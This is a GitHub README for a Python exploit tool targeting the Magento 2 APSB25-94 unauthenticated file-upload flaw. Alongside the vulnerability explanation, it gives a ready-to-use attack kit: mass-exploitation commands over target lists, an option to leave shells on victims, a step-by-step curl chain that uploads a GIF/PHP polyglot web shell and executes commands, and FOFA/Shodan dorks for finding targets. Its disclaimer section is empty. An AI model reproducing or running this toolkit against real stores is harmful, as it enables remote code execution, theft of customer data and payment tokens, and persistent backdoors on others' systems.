shinthink/magento-polyshell
GitHub: shinthink/magento-polyshell
PolyShell 是针对 Magento 2 未授权文件上传 RCE 漏洞(APSB25-94)的自动化漏洞利用与验证工具。
Stars: 0 | Forks: 0
APSB25-94 — PolyShell:Magento 2 未授权文件上传 RCE
Pre-Auth REST API → PHP Polyglot Upload → Code Execution
## 概述 **APSB25-94** (PolyShell) 是 **Adobe Commerce / Magento 2** **≤ 2.4.8** 版本中一个严重级别(CVSS 9.8)的未授权任意文件上传漏洞。 访客购物车 REST API (`/V1/guest-carts/:cartId/items`) 通过产品自定义选项接受文件上传,但未验证以下内容: 1. 选项 ID 是否与产品实际配置的选项匹配 2. 产品是否支持文件类型选项 3. 文件扩展名(接受 `.php`、`.phtml`、`.phar`) 攻击者上传 **GIF89a polyglot 文件**(包含 PHP 代码的有效图像),这些文件能通过 `getimagesizefromstring()` 验证,并在被访问时作为 PHP 执行。 ### 受影响版本 | Magento 版本 | 状态 | |---|---| | ≤ 2.4.8(所有版本) | 存在漏洞 | | 2.4.8-alpha3+ | 已修复 | ## 漏洞机制 ### 根本原因 Magento 购物车项目文件上传处理程序中缺失的三项安全检查: ``` // Vulnerable: no option validation, no type gating, no extension restriction function processFileUpload($cartItem) { $fileInfo = $cartItem['product_option']['extension_attributes']['file_info']; $data = base64_decode($fileInfo['base64_encoded_data']); // Only checks MIME type via getimagesizefromstring() — trivially bypassed // Writes to pub/media/custom_options/quote/ with original filename file_put_contents($destPath . $fileInfo['name'], $data); } ``` ### 攻击流程 ``` 1. Discover Magento 2 via /magento_version or guest-cart API 2. Discover valid product SKU via GraphQL or REST API (unauthenticated) 3. POST /rest/default/V1/guest-carts → get cart ID 4. POST /rest/default/V1/guest-carts/{id}/items with base64 polyglot PHP 5. Shell lands at pub/media/custom_options/quote/nx_xxx.php 6. Access shell → RCE ``` ### Polyglot 绕过 ``` GIF89a header → passes getimagesizefromstring() + → executes as PHP = polyglot file that is both a valid GIF and executable PHP ``` ## 安装 ``` git clone https://github.com/shinthink/magento-polyshell.git cd magento-polyshell pip install -r requirements.txt ``` ## 使用方法 ``` # 单一目标 python magento_polyshell.py -t target.com # Mass exploit python magento_polyshell.py -f magento.txt # Mass exploit + 保存结果 python magento_polyshell.py -f magento.txt -o shells.txt # 在目标上保留 shells python magento_polyshell.py -t target.com --no-cleanup # Debug 模式(显示每个请求) python magento_polyshell.py -t target.com --debug ``` ### 参数 ``` -t, --target Single target (domain or IP) -f, --file Target list, one per line -o, --output Save RCE results to file --threads Concurrent workers (default: 20) --no-cleanup Leave shells on target --debug Show every HTTP request + stage in real-time -v, --verbose Show detailed output ``` ## 概念验证 ### 单一目标 ``` $ python magento_polyshell.py -t magento-target.com --debug ``` ``` PolyShell | Magento 2 Arbitrary File Upload RCE [magento-target.com] Magento 2.4.7 detected via version endpoint [magento-target.com] [+] Magento 2.4.7 [magento-target.com] [*] discovering SKU... [magento-target.com] SKU via GraphQL: 24-MB01 [magento-target.com] [*] deploying shell... [magento-target.com] creating guest cart... [magento-target.com] cart_id: abc123def456... [magento-target.com] uploading shell as nx_a1b2c3d4.php... [magento-target.com] shell found: https://target.com/pub/media/custom_options/quote/nx_a1b2c3d4.php [magento-target.com] [!] RCE confirmed Host : magento-target.com Magento : YES v2.4.7 SKU : 24-MB01 Upload : YES RCE : YES Shell : https://target.com/pub/media/custom_options/quote/nx_a1b2c3d4.php Token : f3a8b2c1d4e5f6a7 Output : uid=33(www-data) gid=33(www-data) Time : 4.2s ``` ### 批量漏洞利用 ``` PolyShell | Magento 2 Arbitrary File Upload RCE Targets: 500 | Threads: 20 | Mode: QUIET [!] magento-shop.com 4.2s RCE uid=33(www-data) gid=33(www-data) [!] magento-store.de 5.1s RCE uid=1001(app) gid=1001(app) [50/500] 10% | Magento:23 RCE:8 Done | 145s | Targets:500 Magento:23 Uploaded:12 RCE:8 ``` ### 手动利用 **步骤 1 — 检测 Magento** ``` curl -sk 'https://target.com/magento_version' # Magento/2.4.7 ``` **步骤 2 — 获取产品 SKU** ``` curl -sk 'https://target.com/graphql' \ -H 'Content-Type: application/json' \ -d '{"query":"{ products(search: \"\", pageSize: 1) { items { sku } } }"}' ``` **步骤 3 — 创建访客购物车** ``` CART_ID=$(curl -sk -X POST 'https://target.com/rest/default/V1/guest-carts' \ -H 'Content-Type: application/json' -d '{}') ``` **步骤 4 — 上传 polyglot PHP shell** ``` SHELL_B64=$(echo "GIF89a..." | base64 -w0) curl -sk -X POST "https://target.com/rest/default/V1/guest-carts/$CART_ID/items" \ -H 'Content-Type: application/json' \ -d "{ \"cartItem\": { \"sku\": \"24-MB01\", \"qty\": 1, \"quote_id\": \"$CART_ID\", \"product_option\": { \"extension_attributes\": { \"file_info\": { \"base64_encoded_data\": \"$SHELL_B64\", \"type\": \"image/gif\", \"name\": \"shell.php\" } } } } }" ``` **步骤 5 — 执行命令** ``` curl -sk 'https://target.com/pub/media/custom_options/quote/shell.php?c=id' ``` ## FOFA Dork ``` body="magento_version" ``` ## Shodan ``` http.component:"Magento" ``` ## 影响 成功利用将导致**以 Web 服务器用户身份执行远程代码**。据此可以: - 提取 `app/etc/env.php` → 数据库凭据、加密密钥 - 访问客户 PII、支付 token、管理员凭据 - 跨 Magento 目录部署持久化后门 - 横向渗透至内部网络 ## 免责声明 ## 参考资料 | 资源 | 链接 | |---|---| | Sansec Research | [sansec.io/research/magento-polyshell](https://sansec.io/research/magento-polyshell) | | Akamai Analysis | [akamai.com/blog/security-research/magento-polyshell](https://www.akamai.com/blog/security-research/magento-polyshell-apsb25-94) | | Searchlight Cyber | [slcyber.io](https://slcyber.io/research-center/magento-polyshell-unauthenticated-file-upload-to-rce-in-magento-apsb25-94/) | | APSB25-94 | [Adobe 安全公告](https://helpx.adobe.com/security/products/magento/apsb25-94.html) |本项目与 Adobe、Magento 或 Sansec 无关。
标签:CISA项目, Magento, Python, 文件上传绕过, 无后门, 编程工具, 远程代码执行, 逆向工具